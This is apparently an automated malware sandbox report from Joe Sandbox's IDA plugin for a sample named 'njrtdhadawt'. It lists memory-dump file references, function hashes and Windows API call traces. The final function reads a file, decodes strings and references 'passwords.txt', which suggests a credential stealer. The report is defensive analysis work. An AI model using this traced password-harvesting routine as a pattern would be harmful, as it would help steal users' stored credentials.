Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c7054d9f2475a2347206027cef28a506520562098ae6381bf703a07ca38e954
Instruction ID: 873154e6236eacdf11f839f5a33ab6f5f59a5dc62a5fbe876a9e1c57ed919b38
Opcode Fuzzy Hash: 7c7054d9f2475a2347206027cef28a506520562098ae6381bf703a07ca38e954
Instruction Fuzzy Hash: 8021E731AB5AE216C7578AFCFCC012267D1CFCF21635D8266CE94CE155C16ED6229760

Function 00FE118E Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b43bf645c95f891ee968bd8604ac2e5917f5d34a4099c9dae524777e7e51350
Instruction ID: 2452cfbbd8bf818e8d2d44bf2afebc1780ece1cf3309f14ea954b37b55da2a06
Opcode Fuzzy Hash: 3b43bf645c95f891ee968bd8604ac2e5917f5d34a4099c9dae524777e7e51350
Instruction Fuzzy Hash: 9A217DB5D0020E8FCB14CFA9C4816EEFBF4BB48220F54846ACA56B3350E634AA448F90

Function 00FF801C Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 00FF801B Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction ID: 81b03007a1f881deed44a42fc0175a6fbd256bce6d09bf2effb1e14420dd7128
Opcode Fuzzy Hash: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction Fuzzy Hash: DEE04278A55644DFC741CF58D195E99B7F0EB09368F158199E806DB761C274EE00DF00

Function 00FE147A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 00FE1492 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 00FEDE54 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FEDD33: lstrlenA.KERNEL32(?,76885460,?,00000000), ref: 00FEDD6F
Part of subcall function 00FEDD33: strchr.MSVCRT ref: 00FEDD81

GetProcessHeap.KERNEL32(00000008,?,76885460,?,00000000), ref: 00FEDEB8
HeapAlloc.KERNEL32(00000000), ref: 00FEDEBF
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEDED4
HeapFree.KERNEL32(00000000), ref: 00FEDEDB
strcpy_s.MSVCRT ref: 00FEDEF7
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEDF09
HeapFree.KERNEL32(00000000), ref: 00FEDF16
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FEDF47
HeapFree.KERNEL32(00000000), ref: 00FEDF4E
GetProcessHeap.KERNEL32(00000008,?), ref: 00FEDF55
HeapAlloc.KERNEL32(00000000), ref: 00FEDF5C
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEDF71
HeapFree.KERNEL32(00000000), ref: 00FEDF78
strcpy_s.MSVCRT ref: 00FEDF8E
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEDFA0
HeapFree.KERNEL32(00000000), ref: 00FEDFA7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FEDFC5
HeapFree.KERNEL32(00000000), ref: 00FEDFCC
GetProcessHeap.KERNEL32(00000008,?), ref: 00FEDFD3
HeapAlloc.KERNEL32(00000000), ref: 00FEDFDA
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEDFEF
HeapFree.KERNEL32(00000000), ref: 00FEDFF6
strcpy_s.MSVCRT ref: 00FEE006
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE018
HeapFree.KERNEL32(00000000), ref: 00FEE01F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FEE047
HeapFree.KERNEL32(00000000), ref: 00FEE04E
GetProcessHeap.KERNEL32(00000008,?), ref: 00FEE055
HeapAlloc.KERNEL32(00000000), ref: 00FEE05C
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE077
HeapFree.KERNEL32(00000000), ref: 00FEE07E
strcpy_s.MSVCRT ref: 00FEE091
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE0A3
HeapFree.KERNEL32(00000000), ref: 00FEE0AA
lstrlenA.KERNEL32(00000000), ref: 00FEE0B3
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00FEE0C9
HeapAlloc.KERNEL32(00000000), ref: 00FEE0D0
lstrlenA.KERNEL32(00000000), ref: 00FEE0E8

Part of subcall function 00FEF54B: std::_Xinvalid_argument.LIBCPMT ref: 00FEF561

strcpy_s.MSVCRT ref: 00FEE129
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 00FEE14F
HeapFree.KERNEL32(00000000), ref: 00FEE15C
lstrlenA.KERNEL32(?), ref: 00FEE161
GetProcessHeap.KERNEL32(00000008,00000001), ref: 00FEE170
HeapAlloc.KERNEL32(00000000), ref: 00FEE177
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE18B
HeapFree.KERNEL32(00000000), ref: 00FEE192
strcpy_s.MSVCRT ref: 00FEE1A0
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE1AD
HeapFree.KERNEL32(00000000), ref: 00FEE1B4
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE1E9
HeapFree.KERNEL32(00000000), ref: 00FEE1F0
GetProcessHeap.KERNEL32(00000008,?), ref: 00FEE1F7
HeapAlloc.KERNEL32(00000000), ref: 00FEE1FE
strcpy_s.MSVCRT ref: 00FEE219
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE22B
HeapFree.KERNEL32(00000000), ref: 00FEE232
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE2D6
HeapFree.KERNEL32(00000000), ref: 00FEE2DD
GetProcessHeap.KERNEL32(00000000,?), ref: 00FEE327
HeapFree.KERNEL32(00000000), ref: 00FEE32E

Part of subcall function 00FEDD33: strchr.MSVCRT ref: 00FEDDA6
Part of subcall function 00FEDD33: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FEDEAB), ref: 00FEDDC8
Part of subcall function 00FEDD33: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FEDDD5
Part of subcall function 00FEDD33: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FEDEAB), ref: 00FEDDDC
Part of subcall function 00FEDD33: strcpy_s.MSVCRT ref: 00FEDE23

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 7738935f6c9b8d0d9e55e8ceba94fd16851ddbf8d2fe70c04c858815b6808a15
Instruction ID: 0a6e92e228025c74c55a4f19aa67d50fc9c90aab57ee2b32094aec1fe218306d
Opcode Fuzzy Hash: 7738935f6c9b8d0d9e55e8ceba94fd16851ddbf8d2fe70c04c858815b6808a15
Instruction Fuzzy Hash: 83E12872C0425AAFDF319FF1EC88A9DBFB9BF48310F24446AE215A3116CB765584AF50

Function 00FEAA4F Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,010163D8,01015816), ref: 00FEAAFA
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB12
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB1A
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB26
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB30
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB42
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB4E
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB55
StrStrA.SHLWAPI(00FEB95E,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB66
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB80
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB93
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAB9D
lstrcatA.KERNEL32(00000000,010163DC,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEABA9
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEABB3
lstrcatA.KERNEL32(00000000,010163E0,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEABBF
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEABCC
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEABD4
lstrcatA.KERNEL32(00000000,010163E4,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEABE0
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEABF0
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC00
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC13

Part of subcall function 00FEA911: _memset.LIBCMT ref: 00FEA94E
Part of subcall function 00FEA911: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,00FEAC20), ref: 00FEA969
Part of subcall function 00FEA911: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 00FEA971
Part of subcall function 00FEA911: _memmove.LIBCMT ref: 00FEA9F4

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC22
lstrcatA.KERNEL32(00000000,010163E8,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC2E
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC3E
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC4E
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC61

Part of subcall function 00FEA911: lstrcatA.KERNEL32(0101580E,01015812,?,00000000,00000000,00000000,00000000,00000014,?,00FEAC20), ref: 00FEAA1E
Part of subcall function 00FEA911: lstrcatA.KERNEL32(0101580E,01015813,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,00FEAC20), ref: 00FEAA34

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC70
lstrcatA.KERNEL32(00000000,010163EC,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC7C
lstrcatA.KERNEL32(00000000,010163F0,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC88
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,00FEB95E), ref: 00FEAC98
lstrlenA.KERNEL32(00000000), ref: 00FEACB6
CloseHandle.KERNEL32(?), ref: 00FEACE5

Strings

passwords.txt, xrefs: 00FEACC2

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
